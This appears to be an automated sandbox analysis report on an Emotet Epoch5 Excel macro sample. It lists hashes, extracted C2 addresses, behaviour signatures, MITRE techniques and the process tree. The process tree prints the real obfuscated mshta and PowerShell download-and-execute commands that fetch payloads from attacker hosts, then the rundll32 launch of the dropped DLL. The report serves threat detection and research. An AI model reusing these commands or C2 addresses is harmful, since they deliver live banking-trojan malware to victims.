emotet | bf154edb1260fa98f30bb6201ed8abd72a55e51938f300f504e164aea6a40603

General

Target

bf154edb1260fa98f30bb6201ed8abd72a55e51938f300f504e164aea6a40603.xlsm
Size

115KB
MD5

cb5ae08f0635dff32c684570750108b5
SHA1

33c65f18d7f753d82cb4ac73540d5e53acb61d5f
SHA256

bf154edb1260fa98f30bb6201ed8abd72a55e51938f300f504e164aea6a40603
SHA512

4728bc8629c0584e23d02d4705ce607c6dd76740f4b64b089c8df5dc30f3fd3bec6d6dd4e39ab0bddb4da4fad6bc184496f580232555f74148db38455084f564

Score

10^/10

emotet epoch5 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2440	3436	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

31 2908 mshta.exe
34 2436 powershell.exe
40 2436 powershell.exe
42 3376 rundll32.exe
43 3376 rundll32.exe
44 3376 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

2152 rundll32.exe
1320 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Gikrnziowcvwp\jevmpfqpzvlu.bga rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3732 2908 WerFault.exe mshta.exe

flow	pid	process
31	2908	mshta.exe
34	2436	powershell.exe
40	2436	powershell.exe
42	3376	rundll32.exe
43	3376	rundll32.exe
44	3376	rundll32.exe

pid	process
2152	rundll32.exe
1320	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Gikrnziowcvwp\jevmpfqpzvlu.bga	rundll32.exe

pid	pid_target	process	target process
3732	2908	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3436 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

WerFault.exepowershell.exerundll32.exe

pid	process
3732	WerFault.exe
3732	WerFault.exe
3732	WerFault.exe
3732	WerFault.exe
3732	WerFault.exe
3732	WerFault.exe
3732	WerFault.exe
3732	WerFault.exe
3732	WerFault.exe
3732	WerFault.exe
3732	WerFault.exe
3732	WerFault.exe
3732	WerFault.exe
3732	WerFault.exe
2436	powershell.exe
2436	powershell.exe
2436	powershell.exe
3376	rundll32.exe
3376	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

WerFault.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3732 WerFault.exe
Token: SeDebugPrivilege 2436 powershell.exe

description	pid	process
Token: SeDebugPrivilege	3732	WerFault.exe
Token: SeDebugPrivilege	2436	powershell.exe

Suspicious use of SetWindowsHookEx 20 IoCs

Processes:

EXCEL.EXE

pid	process
3436	EXCEL.EXE
3436	EXCEL.EXE
3436	EXCEL.EXE
3436	EXCEL.EXE
3436	EXCEL.EXE
3436	EXCEL.EXE
3436	EXCEL.EXE
3436	EXCEL.EXE
3436	EXCEL.EXE
3436	EXCEL.EXE
3436	EXCEL.EXE
3436	EXCEL.EXE
3436	EXCEL.EXE
3436	EXCEL.EXE
3436	EXCEL.EXE
3436	EXCEL.EXE
3436	EXCEL.EXE
3436	EXCEL.EXE
3436	EXCEL.EXE
3436	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 3436 wrote to memory of 3052	3436	EXCEL.EXE	splwow64.exe
PID 3436 wrote to memory of 3052	3436	EXCEL.EXE	splwow64.exe
PID 3436 wrote to memory of 2440	3436	EXCEL.EXE	cmd.exe
PID 3436 wrote to memory of 2440	3436	EXCEL.EXE	cmd.exe
PID 2440 wrote to memory of 2908	2440	cmd.exe	mshta.exe
PID 2440 wrote to memory of 2908	2440	cmd.exe	mshta.exe
PID 2908 wrote to memory of 2436	2908	mshta.exe	powershell.exe
PID 2908 wrote to memory of 2436	2908	mshta.exe	powershell.exe
PID 2436 wrote to memory of 2560	2436	powershell.exe	cmd.exe
PID 2436 wrote to memory of 2560	2436	powershell.exe	cmd.exe
PID 2560 wrote to memory of 2152	2560	cmd.exe	rundll32.exe
PID 2560 wrote to memory of 2152	2560	cmd.exe	rundll32.exe
PID 2560 wrote to memory of 2152	2560	cmd.exe	rundll32.exe
PID 2152 wrote to memory of 1320	2152	rundll32.exe	rundll32.exe
PID 2152 wrote to memory of 1320	2152	rundll32.exe	rundll32.exe
PID 2152 wrote to memory of 1320	2152	rundll32.exe	rundll32.exe
PID 1320 wrote to memory of 2304	1320	rundll32.exe	rundll32.exe
PID 1320 wrote to memory of 2304	1320	rundll32.exe	rundll32.exe
PID 1320 wrote to memory of 2304	1320	rundll32.exe	rundll32.exe
PID 2304 wrote to memory of 3376	2304	rundll32.exe	rundll32.exe
PID 2304 wrote to memory of 3376	2304	rundll32.exe	rundll32.exe
PID 2304 wrote to memory of 3376	2304	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\bf154edb1260fa98f30bb6201ed8abd72a55e51938f300f504e164aea6a40603.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3436

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:3052

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2440

C:\Windows\system32\mshta.exe
mshta http://0x5cff39c3/sec/se1.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2908

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2908 -s 1652
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3732

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2436

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
5⤵
- Suspicious use of WriteProcessMemory
PID:2560

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2152

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1320

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Gikrnziowcvwp\jevmpfqpzvlu.bga",oMWUzKqQrQE
8⤵
- Suspicious use of WriteProcessMemory
PID:2304

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Gikrnziowcvwp\jevmpfqpzvlu.bga",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:3376

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Public\Documents\ssd.dll
MD5
c3eaaaf3b9ab5b846ac2de7a7bd8da52

SHA1
625005ca187b9d7702039410e56056194e8842f2

SHA256
a4e8664586a83c73088d7d4378a124d1cab2219a19ce8a4220d2fb4265bf77e1

SHA512
a53663373caad66e3501ab29f845a8d5b3535270f2d059417419cb47c90c0ade2b62c019a5c21c4dc2046a729e833647d9a18be1f95d5527e32c7f39f5f790fc

Download Submit
\Users\Public\Documents\ssd.dll
MD5
c3eaaaf3b9ab5b846ac2de7a7bd8da52

SHA1
625005ca187b9d7702039410e56056194e8842f2

SHA256
a4e8664586a83c73088d7d4378a124d1cab2219a19ce8a4220d2fb4265bf77e1

SHA512
a53663373caad66e3501ab29f845a8d5b3535270f2d059417419cb47c90c0ade2b62c019a5c21c4dc2046a729e833647d9a18be1f95d5527e32c7f39f5f790fc

Download Submit
\Users\Public\Documents\ssd.dll
MD5
c3eaaaf3b9ab5b846ac2de7a7bd8da52

SHA1
625005ca187b9d7702039410e56056194e8842f2

SHA256
a4e8664586a83c73088d7d4378a124d1cab2219a19ce8a4220d2fb4265bf77e1

SHA512
a53663373caad66e3501ab29f845a8d5b3535270f2d059417419cb47c90c0ade2b62c019a5c21c4dc2046a729e833647d9a18be1f95d5527e32c7f39f5f790fc

Download Submit
memory/1320-829-0x0000000005470000-0x0000000005498000-memory.dmp

Filesize
160KB

Download
memory/1320-825-0x00000000052F0000-0x0000000005318000-memory.dmp

Filesize
160KB

Download
memory/1320-823-0x0000000005290000-0x00000000052B8000-memory.dmp

Filesize
160KB

Download
memory/1320-821-0x0000000005190000-0x00000000051B8000-memory.dmp

Filesize
160KB

Download
memory/1320-819-0x0000000005080000-0x00000000050A8000-memory.dmp

Filesize
160KB

Download
memory/1320-816-0x0000000004A70000-0x0000000004A98000-memory.dmp

Filesize
160KB

Download
memory/2152-813-0x00000000011D0000-0x00000000011F8000-memory.dmp

Filesize
160KB

Download
memory/2304-827-0x0000000001180000-0x00000000011A8000-memory.dmp

Filesize
160KB

Download
memory/2436-740-0x0000019FF65B6000-0x0000019FF65B8000-memory.dmp

Filesize
8KB

Download
memory/2436-588-0x0000019FF6D30000-0x0000019FF6DA6000-memory.dmp

Filesize
472KB

Download
memory/2436-553-0x0000019FF6600000-0x0000019FF663C000-memory.dmp

Filesize
240KB

Download
memory/2436-511-0x0000019FF65B3000-0x0000019FF65B5000-memory.dmp

Filesize
8KB

Download
memory/2436-510-0x0000019FF65B0000-0x0000019FF65B2000-memory.dmp

Filesize
8KB

Download
memory/2436-506-0x0000019FF6540000-0x0000019FF6562000-memory.dmp

Filesize
136KB

Download
memory/3376-830-0x0000000000F90000-0x0000000000FB8000-memory.dmp

Filesize
160KB

Download
memory/3376-833-0x0000000004E10000-0x0000000004E38000-memory.dmp

Filesize
160KB

Download
memory/3436-129-0x00007FFA704F0000-0x00007FFA70500000-memory.dmp

Filesize
64KB

Download
memory/3436-121-0x00007FFA73860000-0x00007FFA73870000-memory.dmp

Filesize
64KB

Download
memory/3436-118-0x00007FFA73860000-0x00007FFA73870000-memory.dmp

Filesize
64KB

Download
memory/3436-117-0x00007FFA73860000-0x00007FFA73870000-memory.dmp

Filesize
64KB

Download
memory/3436-116-0x00007FFA73860000-0x00007FFA73870000-memory.dmp

Filesize
64KB

Download
memory/3436-128-0x00007FFA704F0000-0x00007FFA70500000-memory.dmp

Filesize
64KB

Download
memory/3436-115-0x00007FFA73860000-0x00007FFA73870000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads